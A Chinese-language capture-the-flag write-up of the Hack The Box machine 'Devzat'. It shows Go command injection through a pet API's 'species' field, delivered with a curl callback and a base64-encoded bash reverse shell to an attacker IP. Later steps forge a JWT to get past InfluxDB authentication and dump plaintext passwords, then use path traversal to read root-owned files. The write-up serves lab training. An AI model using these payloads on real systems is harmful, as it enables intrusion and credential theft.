长亭百川云 - 文章详情

【HTB系列】Devazt

承影安全团队ChengYingTeam

51

2024-07-13

信息收集

`└─# nmap 10.10.11.118 -p 22,80,8000 -sC -sV   --min-rate=200` `Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 01:26 EST``Nmap scan report for 10.10.11.118``Host is up (0.38s latency).``   ``PORT     STATE SERVICE VERSION``22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)``| ssh-hostkey:` `|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)``|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)``|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)``80/tcp   open  http    Apache httpd 2.4.41``|_http-server-header: Apache/2.4.41 (Ubuntu)``|_http-title: Did not follow redirect to http://devzat.htb/``8000/tcp open  ssh     (protocol 2.0)``| fingerprint-strings:` `|   NULL:` `|_    SSH-2.0-Go``| ssh-hostkey:` `|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)``1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :``SF-Port8000-TCP:V=7.92%I=7%D=12/21%Time=61C173B9%P=x86_64-pc-linux-gnu%r(N``SF:ULL,C,"SSH-2\.0-Go\r\n");``Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel``   ``Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .``Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds``   `

写入hosts

`[04:17:55] 200 -   17KB - /LICENSE.txt`                                      `[04:17:56] 200 -  877B  - /README.txt`                                       `[04:18:40] 301 -  309B  - /assets  ->  http://devzat.htb/assets/`            `[04:18:40] 200 -    1KB - /assets/``[04:19:18] 301 -  309B  - /images  ->  http://devzat.htb/images/`            `[04:19:18] 200 -    2KB - /images/``[04:19:20] 200 -    6KB - /index.html`                                       `[04:19:23] 301 -  313B  - /javascript  ->  http://devzat.htb/javascript/`

找一下子域,扫描下vhost。扫到了一个pets

用户名

`Cookie``Mia``Chuck``Balu``Georg``Gustav``Rudi``Bruno`

漏洞挖掘

尝试添加一下宠物没什么反应。

扫下目录发现 .git 还有目录下的一个目录 build 信息泄露

成功导出的目录如下:

`┌──(root💀kali)-[/tmp/dump]``└─# tree``.``├── 0-464614f32483e1fde60ee53f5d3b4d468d80ff62``│   ├── characteristics``│   ├── commit-meta.txt``│   ├── go.mod``│   └── go.sum``├── 1-8274d7a547c0c3854c074579dfc359664082a8f6``│   ├── characteristics``│   ├── commit-meta.txt``│   ├── go.mod``│   └── go.sum``└── 2-ef07a04ebb2fc92cf74a39e0e4b843630666a705`    `├── characteristics`    `├── commit-meta.txt`    `├── go.mod`    `├── go.sum`    `├── main.go`    `└── petshop``   ``6 directories, 11 files`

查看代码发现main.go就是pets.devzat.htb的源代码

`package main``   ``import (`        `"embed"`        `"encoding/json"`        `"fmt"`        `"io/fs"`        `"io/ioutil"`        `"log"`        `"net/http"`        `"os/exec"`        `"time"``)``   ``//go:embed static/public``var web embed.FS``   ``//go:embed static/public/index.html``var index []byte``   ``type Pet struct {`        `` Name            string `json:"name"` ``        `` Species         string `json:"species"` ``        `` Characteristics string `json:"characteristics"` ```}``   ``var (`        `Pets []Pet = []Pet{`                `{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},`                `{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},`                `{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},`                `{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},`                `{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},`                `{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},`                `{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},`                `{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},`        `}``)``   ``func loadCharacter(species string) string {`        `cmd := exec.Command("sh", "-c", "cat characteristics/"+species)`        `stdoutStderr, err := cmd.CombinedOutput()`        `if err != nil {`                `return err.Error()`        `}`        `return string(stdoutStderr)``}``   ``func getPets(w http.ResponseWriter, r *http.Request) {`        `json.NewEncoder(w).Encode(Pets)``}``   ``func addPet(w http.ResponseWriter, r *http.Request) {`        `reqBody, _ := ioutil.ReadAll(r.Body)`        `var addPet Pet`        `err := json.Unmarshal(reqBody, &addPet)`        `if err != nil {`                `e := fmt.Sprintf("There has been an error: %+v", err)`                `http.Error(w, e, http.StatusBadRequest)`                `return`        `}``   `        `addPet.Characteristics = loadCharacter(addPet.Species)`        `Pets = append(Pets, addPet)``   `        `w.WriteHeader(http.StatusOK)`        `fmt.Fprint(w, "Pet was added successfully")``}``   ``func handleRequest() {`        `build, err := fs.Sub(web, "static/public/build")`        `if err != nil {`                `panic(err)`        `}``   `        `css, err := fs.Sub(web, "static/public/css")`        `if err != nil {`                `panic(err)`        `}``   `        `webfonts, err := fs.Sub(web, "static/public/webfonts")`        `if err != nil {`                `panic(err)`        `}``   `        `spaHandler := http.HandlerFunc(spaHandlerFunc)`        `// Single page application handler`        `http.Handle("/", headerMiddleware(spaHandler))``   `        `// All static folder handler`        `http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))`        `http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))`        `http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))`        `http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))``   `        `// API routes`        `apiHandler := http.HandlerFunc(petHandler)`        `http.Handle("/api/pet", headerMiddleware(apiHandler))`        `log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))``}``   ``func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {`        `w.WriteHeader(http.StatusOK)`        `w.Write(index)``}``   ``func petHandler(w http.ResponseWriter, r *http.Request) {`        `// Dispatch by method`        `if r.Method == http.MethodPost {`                `addPet(w, r)`        `} else if r.Method == http.MethodGet {`                `getPets(w, r)``   `        `} else {`                `http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)`        `}`        `// TODO: Add Update and Delete``}``   ``func headerMiddleware(next http.Handler) http.Handler {`        `return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {`                `w.Header().Add("Server", "My genious go pet server")`                `next.ServeHTTP(w, r)`        `})``}``   ``func main() {`        `resetTicker := time.NewTicker(5 * time.Second)`        `done := make(chan bool)``   `        `go func() {`                `for {`                        `select {`                        `case <-done:`                                `return`                        `case <-resetTicker.C:`                                `// Reset Pets to prestaged ones`                                `Pets = []Pet{`                                        `{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},`                                        `{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},`                                        `{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},`                                        `{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},`                                        `{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},`                                        `{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},`                                        `{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},`                                        `{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},`                                `}``   `                        `}`                `}`        `}()``   `        `handleRequest()``   `        `time.Sleep(500 * time.Millisecond)`        `resetTicker.Stop()`        `done <- true``}``   `

源码比较简单,主要逻辑如下:

  • loadCharacter直接调用了exec.Command(),虽然我不知道这个函数的意思,但是参数是一个命令执行cat。

  • 在addPet()函数中调用loadCharacter()且参数可控。

  • 在petHandler中当发送请求为POST时,将会执行addPet()

  • 在handleRequest()方法中最后将petHandler实例化,设置接口/api/pet。

  • 在main()函数中调用了handleRequest()

调用栈如下:

`main():`  `handleRequest()`    `petHandler()`      `POST -> addHanler()`        `loadCharacter()``          exec.Command()`

尝试构造payload:

sh -c  cat characteristics/ +`curl 10.10.14.50/123`

漏洞利用

curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`curl 10.10.14.50/123`"}'
curl http://pets.devzat.htb/api/pet -X POST --data  '{"name":"123","species":"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`"}'

发现私钥,尝试连接22端口,失败了?之前的web页面上有说连8000端口 ,而且8000端口开着,作者在这里来了个surprise!!!

权限提升

patrick -> catherine

先不看这个信息收集一下

`root:x:0:0:root:/root:/bin/bash``sync:x:4:65534:sync:/bin:/bin/sync``patrick:x:1000:1000:patrick:/home/patrick:/bin/bash``catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash`
`[+] Looks like we're hosting Docker:``Docker version 20.10.7, build f0df350`
`$ netstat -ant``Active Internet connections (servers and established)``Proto Recv-Q Send-Q Local Address           Foreign Address         State`      `tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN`     `tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.1:49532         127.0.0.1:5000          FIN_WAIT2`  `tcp        0      0 127.0.0.1:5000          127.0.0.1:49532         CLOSE_WAIT` `tcp        0      1 10.10.11.118:52254      1.1.1.1:53              SYN_SENT`   `tcp        0      0 10.10.11.118:47040      10.10.14.50:4444        CLOSE_WAIT` `tcp        0      0 10.10.11.118:47472      10.10.14.50:4444        ESTABLISHED``tcp6       0      0 :::80                   :::*                    LISTEN`     `tcp6       0      0 :::22                   :::*                    LISTEN`     `tcp6       0      0 :::8000                 :::*                    LISTEN``   `

本地开有两个端口 8443 8086在服务器是看不出来是什么服务。

有一个ssh连接,走一个ssh隧道

ssh \-L  8086:127.0.0.1:8086 patrick@devzat.htb \-p 8000

不行,换frp

`cat << EOF >3.txt``[common]``server_addr = 10.10.14.50``server_port = 7000``   ``[ssh]``type = tcp``local_ip = 127.0.0.1``local_port = 8086``remote_port = 6000`
`nmap 172.16.0.4 -sV -p 6000``Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??``Nmap scan report for 172.16.0.4``Host is up (0.00s latency).``   ``PORT     STATE SERVICE VERSION``6000/tcp open  http    InfluxDB http admin 1.7.5``MAC Address: 00:0C:29:E9:FA:DE (VMware)``   ``Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .``Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds`

还是无法访问web界面,但是成功扫描到一些目录

\[23:55:47\] 200 \-    2KB \- /debug/pprof  
\[23:55:47\] 200 \-    9KB \- /debug/pprof/goroutine?debug\=1  
\[23:55:47\] 200 \-   19KB \- /debug/pprof/heap  
\[23:56:09\] 200 \-    5KB \- /metrics  
\[23:56:21\] 204 \-    0B  \- /ping  
\[23:56:34\] 204 \-    0B  \- /status  
\[23:56:34\] 204 \-    0B  \- /status?full\=true
curl -G http://127.0.0.1:6000/  
{"error":"unable to parse authentication credentials"}

通过网络可以得到InfluxDB http admin 1.7.5存在一个认证绕过的漏洞,认证方法是Jwt,使用python -c "import time;print(time.time())"可以直接获取时间戳,然后创建一个jwt token:

{"alg": "HS256"}  
{"username":"admin","exp":1640199606}  
  

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ


C:\\>curl \-G http://172.16.0.4:6000/query  \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \-i \--data-urlencode "q=show databases"  
  
  
{"results":\[{"statement\_id":0,"series":\[{"name":"databases","columns":\["name"\],"values":\[\["devzat"\],\["\_internal"\]\]}\]}\]}
C:\\>curl \-G http://172.16.0.4:6000/query?db\=devzat  \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \--data-urlencode "q=show measurements"  
  
{"results":\[{"statement\_id":0,"series":\[{"name":"measurements","columns":\["name"\],"values":\[\["user"\]\]}\]}\]}
C:\\Users\\Administrator>curl \-G "http://172.16.0.4:6000/query?q=show+field+keys&db=devzat"  \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \-i  
  
{"results":\[{"statement\_id":0,"series":\[{"name":"user","columns":\["fieldKey","fieldType"\],"values":\[\["enabled","boolean"\],\["password","string"\],\["username","string"\]\]}\]}\]}
C:\\>curl \-G http://172.16.0.4:6000/query?db\=devzat  \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \--data-urlencode "q=select \* from \\"user\\""  
  
{"results":\[{"statement\_id":0,"series":\[{"name":"user","columns":\["time","enabled","password","username"\],"values":\[\["2021-06-22T20:04:16.313965493Z",false,"WillyWonka2021","wilhelm"\],\["2021-06-22T20:04:16.320782034Z",true,"woBeeYareedahc7Oogeephies7Aiseci","catherine"\],\["2021-06-22T20:04:16.996682002Z",true,"RoyalQueenBee$","charles"\]\]}\]}\]}

找到了catherine用户的密码:

catherine:woBeeYareedahc7Oogeephies7Aiseci  
  
ssh catherine@10.10.11.118  
  

catherine -> root

find /var -user catherine 2>/dev/null

在/var/backups目录下找到了两个备份文件devzat-main.zip和devzat-dev.zip

`catherine@devzat:/var/backups$ ls -al``ls -al``total 1132``drwxr-xr-x 2 root     root       4096 Dec 23 06:25 .``drwxr-xr-x 14 root     root       4096 Jun 22 2021 ..``-rw-r--r-- 1 root     root       51200 Dec 23 06:25 alternatives.tar.0``-rw-r--r-- 1 root     root       59142 Sep 28 18:45 apt.extended_states.0``-rw-r--r-- 1 root     root       6588 Sep 21 20:17 apt.extended_states.1.gz``-rw-r--r-- 1 root     root       6602 Jul 16 06:41 apt.extended_states.2.gz``-rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip``-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip``-rw-r--r-- 1 root     root         268 Sep 29 11:46 dpkg.diversions.0``-rw-r--r-- 1 root     root         170 Jul 16 06:41 dpkg.statoverride.0``-rw-r--r-- 1 root     root     951869 Sep 28 18:45 dpkg.status.0`
`catherine@devzat:/tmp/dev$ grep -iR pass``grep -iR pass``devchat.go:             u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password which you can gather from the source. I left it in our default backups location.")``commands.go:           u.system("Please provide file to print and the password")``commands.go:           u.system("You need to provide the correct password to use this function")``commands.go:   pass := args[1]``commands.go:   // Check my secure password``commands.go:   if pass != "CeilingCatStillAThingIn2021?" {``commands.go:           u.system("You did provide the wrong password")``testfile.txt:Through me you pass into the city of woe:``testfile.txt:Through me you pass into eternal pain:`

有一个密码CeilingCatStillAThingIn2021?

python3 -c "import pty;pty.spawn('/bin/bash')"

发现root启动了一个进程。

经过比对后发现两份源码关键的变化在

可以使用命令diff

diff dev/commands.go main/commands.go >> diff.txt
`func fileCommand(u *user, args []string) {`  `if len(args) < 1 {`    `u.system("Please provide file to print and the password")`    `return`  `}``   `  `if len(args) < 2 {`    `u.system("You need to provide the correct password to use this function")`    `return`  `}``   `  `path := args[0]`  `pass := args[1]``   `  `// Check my secure password`  `if pass != "CeilingCatStillAThingIn2021?" {`    `u.system("You did provide the wrong password")`    `return`  `}``   `  `// Get CWD 获取目录`  `cwd, err := os.Getwd()``   `  `if err != nil {`    `u.system(err.Error())`  `}``   `  `// Construct path to print 拼接路径`  `printPath := filepath.Join(cwd, path)``   `  `// Check if file exists 检查文件是否存在`  `if _, err := os.Stat(printPath); err == nil {`    `// exists, print`    `file, err := os.Open(printPath)//打开文件`    `if err != nil {`      `u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))`      `return`    `}`    `defer file.Close()//go 语言特性:defer 存在的函数或语句最后执行`    `//go中文件读取操作,由于服务是使用root启动的,可以读取root权限的文件。`    `scanner := bufio.NewScanner(file)`    `for scanner.Scan() {`      `u.system(scanner.Text())//`    `}``   `    `if err := scanner.Err(); err != nil {`      `u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))`    `}``   `    `return``   `  `} else if os.IsNotExist(err) {`    `// does not exist, print error`    `u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))`    `return`  `}`  `// bokred?`  `u.system("Something went badly wrong.")``}``func (u *user) system(message string) {//输出函数`  `u.term.Write([]byte(red.Paint("[SYSTEM] ") + mdRender(message, 9, u.win.Width) + "\n"))``}`

这段代码中存在可控的文件读取功能。

可以通过控制第一个参数控制路径,通过第二个参数pass绕过检测。

ssh -l root 127.0.0.1 -p 8443

构造payload

file ../../../../etc/passwd CeilingCatStillAThingIn2021?

上传公钥,连接一个稳定ssh再试

成功

喜欢就请关注我们吧!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2